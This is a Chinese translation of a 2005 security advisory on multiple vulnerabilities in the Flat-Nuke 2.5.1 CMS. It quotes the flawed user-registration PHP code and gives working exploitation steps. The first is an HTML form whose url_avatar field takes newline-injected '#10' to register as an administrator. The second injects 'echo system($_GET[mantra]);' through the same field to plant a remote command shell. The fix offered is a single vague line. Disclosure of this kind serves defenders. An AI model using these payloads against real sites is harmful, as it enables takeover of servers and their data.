本文作者: Z.C.Y[B.C.T]
http://www.bnso.net
文章出处: 原创翻译
阅读次数: 2
发布日期: 2005-1-4
安全公告:<20050102231435.17957.qmail@
www.securityfocus.com>
漏洞主题:Multiple Vulnerabilities in FlatNuke
发布日期:Jan 2 2005 11:14PM
漏洞发布:Pierquinto 'Mantra' Manco(CODEBUG Labs)
英语版本:David 'hanska' Paleino
影响版本:Flat-Nuke 2.5.1
漏洞类型:Multiple Vulnerabilities
组织站点:
http://www.codebug.org
软件主页:
http://www.flatnuke.org
软件描述:FlatNuke是一个CMS(内容管理系统),CMS是一个只管理文本数据库,而不使用
任何DBMS的管理系统。FlatNuke最新稳定版本是2.5.1。
漏洞描述:这个漏洞存在于,位于脚本的主目录的flatnuke的论坛和目录的index.php文件:
代码:
<?
if(!file_exists("users/$nome.php")) {
if(($nome == "") || ($regpass == "") || (stristr($nome, "")) || (strlen($nome) >
13) || (stristr($nome,"\"")) || (stristr($nome, "\\")) || ($regpass != $reregpass)){
print _FERRCAMPO . "<br><a href=\"javascript:history.back()\"><<" . _INDIETRO
. "</a>";
}
else {
$nome = str_replace("<", "", $nome);
$nome = str_replace(">", "", $nome);
$nome = stripslashes($nome);
$regpass = str_replace("<", "", $regpass);
$regpass = str_replace(">", "", $regpass);
$anag = str_replace(">", "", $anag);
$anag = str_replace("<", "", $anag);
$anag = stripslashes($anag);
$email = str_replace("<", "", $email);
$email = str_replace(">", "", $email);
$email = stripslashes($email);
$homep = str_replace("<", "", $homep);
$homep = str_replace(">", "", $homep);
$homep = stripslashes($homep);
$prof = str_replace("<", "", $prof);
$prof = str_replace(">", "", $prof);
$prof = stripslashes($prof);
$prov = str_replace("<", "", $prov);
$prov = str_replace(">", "", $prov);
$prov = stripslashes($prov);
$ava = str_replace("<", "", $ava);
$ava = str_replace(">", "", $ava);
if ($ava == "")
$ava="blank.png";
if ($url_avatar != "") {
$ava = $url_avatar;
$ava = str_replace("<", "", $ava);
$ava = str_replace(">", "", $ava);
}
else {
$ava = str_replace("<", "", $ava);
$ava = str_replace(">", "", $ava);
$ava = "images/" . $ava;
}
$firma = str_replace("<", "", $firma);
$firma = str_replace(">", "", $firma);
$firma = stripslashes($firma);
# Stores the password in a MD5 hash.
$regpass = md5($regpass);
$firma = str_replace("\n", "<br>", $firma);
$fp = fopen("users/$nome.php", "w");
// these fwrite() don't need any concurrent
// access check since the user can only access
// his own file
fwrite($fp, "<?\n");
fwrite($fp, "#$regpass\n");
fwrite($fp, "#$anag\n");
fwrite($fp, "#$email\n");
fwrite($fp, "#$homep\n");
fwrite($fp, "#$prof\n");
fwrite($fp, "#$prov\n");
fwrite($fp, "#$ava\n");
fwrite($fp, "#$firma\n");
fwrite($fp, "#$level\n");
fwrite($fp, "?>\n");
fclose($fp);
...
?>
用如下代码做成HTML远程提升权限:
<form action="
http://www.sitewithflatnuke.org/forum/index.php" method=post name="registra">
<input type=hidden name=op value=reg>
Username*: <input name=nome><br>
Password*: <input name="regpass" type="password"><br>
Password*: <input name="reregpass" type="password"><br>
Name: <input name=anag><br>
E-mail: <input name=email><br>
Homepage: <input name=homep value="http://"><br>
Job: <input name=prof><br>
Country: <input name=prov><br>
<select name="ava">
<option value="">----</option>
<option value="blank.png">blank.png</option>
</select>
<br><br>
Or remote image URL:<br><br>
<textarea name="url_avatar" rows=5 cols=23></textarea>
<br>
Signature: <textarea name=firma rows=5 cols=23></textarea>
<center>
<input type=submit value="Send">
</center>
</form>
当你开打这个HTML网页,你需要填写所有空格除了那个我们用来注册成为管理员的网址地址不要填。
在这个填网址的地方至少按回车2次,然后输入#10。用这种方法可以使自己从一个普通用户注册成为管理员。
因为这个脚本所有以上讲的都是可能的,在注册功能部分,没有检查文本输入的值,以至于我们可以修改写文本的模块。
PHP代码注入
这个漏洞可以证明我上面所写的远程提升权限漏洞。
代码:
<form action="
http://www.sitewithflatnuke.org/forum/index.php" method=post name="registra">
<input type=hidden name=op value=reg>
Username*: <input name=nome><br>
Password*: <input name="regpass" type="password"><br>
Password*: <input name="reregpass" type="password"><br>
Name: <input name=anag><br>
E-mail: <input name=email><br>
Homepage: <input name=homep value="http://"><br>
Job: <input name=prof><br>
Country: <input name=prov><br>
<select name="ava">
<option value="">----</option>
<option value="blank.png">blank.png</option>
</select>
<br><br>
Or remote image URL:<br><br>
<textarea name="url_avatar" rows=5 cols=23></textarea>
<br>
Signature:
<textarea name=firma rows=5 cols=23></textarea>
<center>
<input type=submit value="Send">
</center>
</form>
让我们再次运行我们的HTML,填写这些空格,我们现在不通过这个漏洞提升权限。我们现在用"url_avatar"文本区域
注入恶意代码。
在这里,按回车至少一次输入PHP恶意代码,例子如下:
echo system($_GET[mantra]);
举例:这个命令可以使我们得到一个SHELL表单:
http://www.sitewithflatnuke.org/ ... =command_to_execute
解决办法:
更正那些出现漏洞的检查参数并且对用户注册和主要系统进行重新构造。
用户可以通过google等一些搜索引擎可能制造蠕虫,比如像Santy for phpBB,它可以感染任何运行FlatNuke的系统,带有很强的破坏性!